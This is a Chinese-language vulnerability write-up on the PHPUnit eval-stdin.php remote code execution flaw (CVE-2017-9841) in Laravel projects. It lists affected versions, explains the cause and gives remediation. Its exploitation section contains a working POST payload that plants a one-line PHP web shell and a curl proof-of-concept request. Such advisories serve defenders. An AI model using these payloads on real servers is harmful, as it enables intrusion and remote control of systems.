phpunit 远程代码执行漏洞(CVE-2017-9841)
摘要:
composer 是 php 包管理工具,通常使用 composer 安装扩展包将会在当前目录创建一个 vendor 文件夹,并将所有依赖文件放在其中。一般这个目录需要放在 web 目录外,用户不能直接访问。这里,PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 模块,如果生产环境中安装了PHPUnit,且该模块目录拥有Web可访问权限,则存在远程代码执行漏洞
本次分享内容为laravel框架使用过程中遇到的关键漏洞。
漏洞概述
PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。
漏洞版本
4.8.19 ~ 4.8.27
5.0.10 ~ 5.6.2
漏洞原理
新的phpunit一般为5.7或最新9,10等版本,基本不存在这个漏洞的可能,可能大家都不会知道有这个漏洞,但是在laravel 7.X版,且phpunit未及时更新的项目中,该漏洞普遍存在。
该漏洞位于文件
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval(’?>’.file_get_contents(‘php://input’));
处
漏洞被利用方法
远程访问http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
使用POST方法传递一段以“
例如:直接POST一句话木马:
<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>');
即可实现远程操控。
或者用curl命令连接传入木马。
例如,执行以下一段代码即可输出pi的值。
curl -XPOST --data "<?php echo(pi());" http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
漏洞修复或处理
1、此模块为单元测试,生产环境实属无用,应果断删之(可直接在vendo目录下删除phpunit文件夹);
2、如有操作顾虑,请立即升级版本;
3、如以上操作都不太方便,则需直接在服务器设置权限,禁止访问该目录。
个人相关建议
开发者在使用php相应的框架过程中,尽可能的要关注一些模块的功能,是否所需,以及可能存在的问题;
确实无用的模块拓展,尽可能的给予及时删除,避免隐患,譬如phpunit,其实部分开发者在一般的开发过程中并不使用这一功能,则直接:
composer remove phpunit/phpunit
什么开发环境,生产环境,一删干净,一了百了,如有使用,安之即可。